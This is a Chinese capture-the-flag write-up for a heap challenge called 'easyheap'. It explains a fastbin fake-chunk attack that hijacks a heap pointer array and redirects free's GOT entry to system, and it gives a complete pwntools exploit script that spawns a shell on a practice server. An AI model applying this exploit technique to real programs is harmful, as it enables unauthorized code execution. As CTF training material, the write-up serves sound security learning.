题目

题目链接

checksec

这是什么鸭

IDA

main

这是什么鸭

菜单题

这是什么鸭

create

这是什么鸭

delete

这是什么鸭

edit

这是什么鸭

有明显的堆溢出,考虑通过 fastbin 获取在 heaparray 附近的 fake chunk ,再劫持 heaparray 以实现任意地址写

got

这是什么鸭

systemplt

这是什么鸭

构造合适位置的 fake chunk

这是什么鸭

这是什么鸭

0x6020ad 处有满足 size = 0x7f 的 fake chunk ,故申请 0x68 字节,使用 0x70 的 fastbin 链表

攻击思路

先利用堆溢出漏洞劫持已进入 fastbin 的 chunk 的 fd 指针为 fake chunk 地址 0x6020ad

再通过 malloc 申请这块 fake chunk ,同时在 fake chunk 写入 payload 劫持 heaparray[0]

由于我们希望通过 system(“/bin/sh”) 提权,然而 elf 中并没有 “/bin/sh” 字符串,这需要我们手动写入

更坏的是,我们似乎并没有操纵栈的机会,只能通过劫持 got 表短暂地劫持程序流程,,,

所以这里有一个巧妙的方法:注意到 system 的参数为 rdi ,所以我们可以把 free 劫持为 system_plt ,由于 free 的参数是我们自己可以设定的,通过在某个索引为 idx 的 chunk 上写入 “/bin/sh\x00” ,调用 delete_heap(idx) 后即可执行 system(“/bin/sh”) 提权

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
p = process('./easyheap')
else:
p = remote('node5.buuoj.cn', 26200)

def pcreate(size, content):
p.recvuntil(b'choice :')
p.sendline(b'1')
p.recvuntil(b'Heap : ')
p.sendline(str(size).encode())
p.recvuntil(b'heap:')
p.sendline(content)

def pedit(index, size, content):
p.recvuntil(b'choice :')
p.sendline(b'2')
p.recvuntil(b'Index :')
p.sendline(str(index).encode())
p.recvuntil(b'Heap : ')
p.sendline(str(size).encode())
p.recvuntil(b'heap : ')
p.sendline(content)

def pdelete(index):
p.recvuntil(b'choice :')
p.sendline(b'3')
p.recvuntil(b'Index :')
p.sendline(str(index).encode())

def attack():
pcreate(0x68, b'')
pcreate(0x68, b'')
pcreate(0x68, b'')
pdelete(2)

payload = b'A' * 0x68 + p64(0x7f) + p64(0x6020ad)
pedit(1, len(payload), payload)

pcreate(0x68, b'')
payload = b'A' * 35 + p64(0x602018)
pcreate(0x68, payload)

payload = p64(0x400700)
pedit(0, len(payload), payload)

payload = b'/bin/sh\x00'
pedit(1, len(payload), payload)

pdelete(1)

p.interactive()

attack()